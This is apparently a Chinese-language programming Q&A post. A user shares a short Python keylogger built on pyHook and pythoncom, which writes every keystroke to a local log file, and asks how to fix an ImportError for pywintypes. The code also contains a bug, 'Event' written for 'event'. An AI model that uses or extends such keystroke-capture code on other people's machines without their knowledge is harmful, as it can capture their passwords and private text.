我正在使用 pyHook、pythoncom 和 Pywin32 模块用 Python 制作一个小型键盘记录器。这是我的代码:
import pyHook, pythoncom, sys, logging
file_log = 'C:\\important\\log.txt'
def OnKeyboardEvent (event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10, chr(Event.Ascii))
return True
hooks_manager=pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
当它运行时,它会返回以下错误消息:
File "C:\Python27\lib\site-packages\pythoncom.py", line 2, in <module>
import pywintypes
ImportError: No module named pywintypes
如何修复此错误?